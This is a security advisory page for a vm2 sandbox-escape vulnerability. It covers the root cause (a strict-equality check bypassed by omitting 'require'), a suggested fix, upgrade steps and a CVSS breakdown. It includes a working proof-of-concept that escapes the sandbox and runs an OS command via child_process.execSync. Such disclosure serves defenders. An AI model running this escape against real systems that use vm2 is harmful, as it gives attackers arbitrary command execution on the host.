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CVE-2026-47137

CRITICAL

vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE

Published May 29, 2026Updated July 8, 2026Source: osv

Summary

## Summary The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in `nodevm.js` line 263 that blocks the combination `nesting: true` + `require: false`. However, the check uses strict equality (`options.require === false`), which is trivially bypassed by omitting the `require` option entirely. When `require` is not specified, `options.require` is `undefined`, not `false`. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default `require: requireOpts = false` assigns `requireOpts = false`, producing the exact configuration the patch was designed to prevent. ## Root Cause ```javascript // nodevm.js:263 — the security check if (options.nesting === true && options.require === false) { throw new VMError('...'); } // nodevm.js:280 — the default assignment (AFTER the check) const { require: requireOpts = false } = options; // When options.require is undefined: // - Line 263: undefined === false → FALSE → check skipped // - Line 280: requireOpts = false → same as require:false ``` ## Impact Full Remote Code Execution on the host system. An attacker running code inside a `NodeVM({ nesting: true })` sandbox (without specifying `require`) can: 1. `require('vm2')` to get the vm2 library 2. Construct an inner `NodeVM` with `require: { builtin: ['child_process'] }` 3. Execute arbitrary OS commands via `child_process.execSync` The inner VM is completely unconstrained by the outer sandbox configuration. ## Reproduction ```javascript const { NodeVM } = require('vm2'); // nesting:true, require not specified (defaults to false AFTER the check) const nvm = new NodeVM({ nesting: true }); const result = nvm.run(` const { NodeVM } = require('vm2'); const inner = new NodeVM({ require: { builtin: ['child_process'] } }); module.exports = inner.run( "module.exports = require('child_process').execSync('id').toString()", 'exploit.js' ); `, 'exploit.js'); console.log(result); // prints host uid/gid — full RCE ``` ## Suggested Fix ```javascript // Change the check to catch both false and undefined/omitted: if (options.nesting === true && !options.require) { throw new VMError('...'); } ``` Or move the check after the destructuring default assignment: ```javascript const { require: requireOpts = false } = options; if (options.nesting === true && !requireOpts) { throw new VMError('...'); } ```

Remediation

Upgrade to the fixed version using your package manager.

npm
Update vm2 to 3.11.4 or later
npm install vm2@3.11.4

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
vm2
npm
All versions3.11.4

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-47137?
vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 10.0/10).
How do I check if my project is affected by CVE-2026-47137?
CVE-2026-47137 affects vm2. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-47137 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
10.0

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-m4wx-m65x-ghrr

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